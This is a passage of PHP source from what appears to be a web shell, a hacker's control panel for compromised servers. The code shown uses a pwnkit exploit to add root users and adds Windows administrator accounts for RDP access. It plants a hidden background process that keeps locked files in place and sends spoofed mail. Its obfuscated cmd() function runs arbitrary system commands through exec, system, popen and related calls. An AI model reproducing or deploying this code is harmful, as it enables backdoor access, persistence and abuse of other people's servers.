$fungsi[11]('.mad-root'); $r_text = explode(" ", $response); if ($r_text[0] == "uid=0(root)") { $username = $_POST['add-username']; $password = $_POST['add-password']; cmd('./pwnkit "useradd ' . $username . ' ; echo -e "' . $password . '\n' . $password . '" | passwd ' . $username . '"'); } else { echo '<meta http-equiv="refresh" content="0;url=?ayana=' . hx($fungsi[0]()) . '&adduser=failed">'; } } } else if ($_POST['lockfile'] == true) { $flesName = $_POST['lockfile']; $TmpNames = $fungsi[31](); if (file_exists($TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-handler')) && file_exists($TmpNames . '/.sessions/.' . remove_dot($flesName) . '-text')) { cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-text-file')); cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-handler')); } mkdir($TmpNames . "/.sessions"); cmd("cp $flesName " . $TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-text-file')); cmd("chmod 444 " . $flesName); $handler = ' <?php @ini_set("max_execution_time", 0); while (True){ if (!file_exists("' . $fungsi[0]() . '")){ mkdir("' . $fungsi[0]() . '"); } if (!file_exists("' . $fungsi[0]() . '/' . $flesName . '")){ $text = ' . $fungsi[33] . '(file_get_contents("' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-text-file') . '")); file_put_contents("' . $fungsi[0]() . '/' . $flesName . '", ' . $fungsi[32] . '($text)); } if (gecko_perm("' . $fungsi[0]() . '/' . $flesName . '") != 0444){ chmod("' . $fungsi[0]() . '/' . $flesName . '", 0444); } if (gecko_perm("' . $fungsi[0]() . '") != 0555){ chmod("' . $fungsi[0]() . '", 0555); } } function gecko_perm($flename){ return substr(sprintf("%o", fileperms($flename)), -4); } '; $hndlers = $fungsi[28]($TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-handler') . "", $handler); if ($hndlers) { cmd(PHP_BINARY . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-handler') . ' > /dev/null 2>/dev/null &'); success(); } else { failed(); } } else if ($_POST['add-rdp'] == True) { $userRDP = $_POST['add-rdp']; $passRDP = $_POST['add-rdp-pass']; if (stristr(PHP_OS, "WIN")) { $procRDP = cmd("net user " . $userRDP . " " . $passRDP . " /add"); if ($procRDP) { cmd("net localgroup administrators " . $userRDP . " /add"); success(); } else { failed(); } } else { failed(); } } else if ($_POST['mail-from-smtp'] == True) { $emailFrom = $_POST['mail-from-smtp']; $emailTo = $_POST['mail-to-smtp']; $emailSubject = $_POST['mailto-subject']; $messageMail = $_POST['message-smtp']; $headersMail = 'From: ' . $emailFrom . '' . "\r\n" . 'Reply-To: ' . $emailFrom . '' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); $procMailSmTp = mail($emailTo, $emailSubject, $messageMail, $headersMail); if ($procMailSmTp) { success(); } else { failed(); } } } if ($_GET['response'] == "success") { echo "<script> Swal.fire({ icon: 'success', title: 'Sucesss...', text: 'Done Success!', background: '#0a0f1c', color: '#00f3ff', confirmButtonColor: '#00f3ff', })</script>"; } else if ($_GET['response'] == "failed") { echo "<script> Swal.fire({ icon: 'error', title: 'Failed...', text: 'Something wrong!', background: '#0a0f1c', color: '#00f3ff', confirmButtonColor: '#ff0055', }) </script>"; } function success() { echo '<meta http-equiv="refresh" content="0;url=?ayana=' . hx($GLOBALS['fungsi'][0]()) . '&response=success">'; } function failed() { echo '<meta http-equiv="refresh" content="0;url=?ayana=' . hx($GLOBALS['fungsi'][0]()) . '&response=failed">'; } function formatSize($bytes) { $types = array('<span class="file-size">B</span>', '<span class="file-size">KB</span>', '<span class="file-size">MB</span>', '<span class="file-size">GB</span>', '<span class="file-size">TB</span>'); for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++); return (round($bytes, 2) . " " . $types[$i]); } function hx($n) { $y = ''; for ($i = 0; $i < strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y; } function unx($y) { $n = ''; for ($i = 0; $i < strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n; } function suggest_exploit() { $uname = $GLOBALS['fungsi'][8](); $xplod = explode(" ", $uname); $xpld = explode("-", $xplod[2]); $pl = explode(".", $xpld[0]); return $pl[0] . "." . $pl[1] . "." . $pl[2]; } function s() { $d0mains = @$GLOBALS['fungsi'][7]("/etc/named.conf", false); if (!$d0mains) { $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "$count Domain"; } return $dom; } function cmd($in, $re = false) { $out = ''; try { if ($re) $in = $in . " 2>&1"; if (function_exists("\x65\x78\x65\x63")) { @$GLOBALS['fungsi'][16]($in, $out); $out = @join("\n", $out); } elseif (function_exists("\x70\x61\x73\x73\x74\x68\x72\x75")) { ob_start(); @$GLOBALS['fungsi'][17]($in); $out = ob_get_clean(); } elseif (function_exists("\x73\x79\x73\x74\x65\x6d")) { ob_start(); @$GLOBALS['fungsi'][18]($in); $out = ob_get_clean(); } elseif (function_exists("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63")) { $out = $GLOBALS['fungsi'][19]($in); } elseif (function_exists("\x70\x6f\x70\x65\x6e") && function_exists("\x70\x63\x6c\x6f\x73\x65")) { if (is_resource($f = @$GLOBALS['fungsi'][20]($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); $GLOBALS['fungsi'][21]($f); } } elseif (function_exists("\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e")) { $pipes = array(); $process = @$GLOBALS['fungsi'][23]($in . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null); $out = @$GLOBALS['fungsi'][22]($pipes[1]); } elseif (class_exists('COM')) { $alfaWs = new COM('WScript.shell'); $e = $alfaWs->$GLOBALS['fungsi'][16]('cmd.exe /c ' . $_POST['alfa1']); $stdout = $e->StdOut(); $out = $stdout->ReadAll(); } } catch (Exception $e) { } return $out; } function winpwd() { return str_replace("\\", "/", $GLOBALS['fungsi'][0]()); } function compressToZip($sourceFile, $zipFilename) { $zip = new ZipArchive(); if ($zip->open($zipFilename, ZipArchive::CREATE) === TRUE) { $zip->addFile($sourceFile, basename($sourceFile)); $zip->close(); success(); } else { failed(); } } function remove_slash($val) { $tex = str_replace("/", "", $val); $tex1 = str_replace(":", "", $tex); $tex2 = str_replace("_", "", $tex1); $tex3 = str_replace(" ", "", $tex2); $tex4 = str_replace(".", "", $tex3); return $tex4; } function unlinkDir($dir) { $dirs = array($dir); $files = array(); for ($i = 0;; $i++) { if (isset($dirs[$i])) $dir = $dirs[$i]; else break; if ($openDir = opendir($dir)) { while ($readDir = @readdir($openDir)) { if ($readDir != "." && $readDir != "..") { if ($GLOBALS['fungsi'][2]($dir . "/" . $readDir)) { $dirs[] = $dir . "/" . $readDir; } else { $files[] = $dir . "/" . $readDir; } } } } } foreach ($files as $file) { $GLOBALS['fungsi'][24]($file); } $dirs = array_reverse($dirs); foreach ($dirs as $dir) { $GLOBALS['fungsi'][25]($dir); } } function remove_dot($file) { $FILES = $file; $pch = explode(".", $FILES); return $pch[0]; } function windowsDriver() { $winArr = [ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Y', 'Z' ]; foreach ($winArr as $winNum => $winVal) { if (is_dir($winVal . ":/")) { echo "<a style='color:var(--neon-cyan); font-weight:bold;' href='?ayana=" . hx($winVal . ":/") . "'>[ " . $winVal . " ] </a> "; } } } function namaPanjang($value) { $namaNya = $value; $extensi = pathinfo($value, PATHINFO_EXTENSION); if (strlen($namaNya) > 30) { return substr($namaNya, 0, 30) . "..."; } else { return $value; } } function extractArchive($archiveFilename, $extractPath) { $zip = new ZipArchive(); if ($zip->open($archiveFilename) === TRUE) { $zip->extractTo($extractPath); $zip->close(); return true; } else { return false; } } function perms($file) { $perms = $GLOBALS['fungsi'][6]($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>
Close
